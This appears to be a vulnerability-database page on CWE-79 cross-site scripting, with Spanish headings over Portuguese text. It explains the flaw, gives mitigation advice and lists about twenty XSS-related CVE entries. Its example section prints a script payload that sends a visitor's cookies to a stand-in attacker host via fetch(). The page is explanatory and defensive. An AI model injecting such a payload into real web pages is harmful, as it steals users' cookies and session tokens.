Fallos del tipo CWE-79

30.536 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-6619MEDIUMlanggenius dify ImagePreview image-preview.tsx openInNewTab cross site scriptingEPSS 0.2%CVE-2026-23604MEDIUMGFI MailEssentials AI < 22.4 Keyword Filtering Rule Stored XSSEPSS 0.2%CVE-2026-40986MEDIUMSpring Web Flow JS RemotingHandler renders non-HTML Response as HTMLEPSS 0.2%CVE-2026-23618MEDIUMGFI MailEssentials AI < 22.4 Anti-Spam Spam Keyword Checking Subject Condition Stored XSSEPSS 0.2%CVE-2026-30882MEDIUMChamilo LMS: Reflected XSS in the session category listing pageEPSS 0.2%CVE-2025-1349MEDIUMIBM Sterling B2B Integrator and IBM Sterling File Gateway cross-site scriptingEPSS 0.2%CVE-2026-23608MEDIUMGFI MailEssentials AI < 22.4 Email Management Mail Monitoring Rule Stored XSSEPSS 0.2%CVE-2025-59035MEDIUMIndico vulnerable to Cross-Site Scripting via LaTeX math codeEPSS 0.2%CVE-2025-10556HIGHStored Cross-site Scripting (XSS) vulnerability affecting Specification Management in ENOVIA Specification Manager from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2025xEPSS 0.2%CVE-2025-45091MEDIUMSeafile versions 11.0.18-Pro, 12.0.10, and 12.0.10-Pro are vulnerable to a stored Cross-Site Scripting (XSS) attack. An authenticated attackEPSS 0.2%CVE-2023-50827MEDIUMWordPress Accredible Certificates & Open Badges Plugin <= 1.4.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.2%CVE-2026-28397MEDIUMNocoDB: Stored Cross-Site Scripting via CommentsEPSS 0.2%CVE-2026-6593MEDIUMComfyUI View Endpoint server.py cross site scriptingEPSS 0.2%CVE-2026-23619MEDIUMGFI MailEssentials AI < 22.4 General Settings Local Domains Domain Description Stored XSSEPSS 0.2%CVE-2026-111727MEDIUMAppointment Booking Calendar <= 1.4.05 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'vs_text_submitbtn' ParameterEPSS 0.2%CVE-2026-4805MEDIUMWoostify <= 2.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Lity.js Library via data-lity Attribute in Custom HTML BlockEPSS 0.2%CVE-2026-40096MEDIUMimmich: Open Redirect via Shared Album nameEPSS 0.2%CVE-2026-7294MEDIUMSourceCodester Pizzafy Ecommerce System index.php save_settings cross site scriptingEPSS 0.2%CVE-2026-84281HIGHFancy Product Designer <= 6.5.2 - Unauthenticated Stored Cross-Site Scripting via 'productTitle' in '_fpd_data' Order Item MetaEPSS 0.2%CVE-2026-7295MEDIUMSourceCodester Pizzafy Ecommerce System ajax.php save_menu cross site scriptingEPSS 0.2%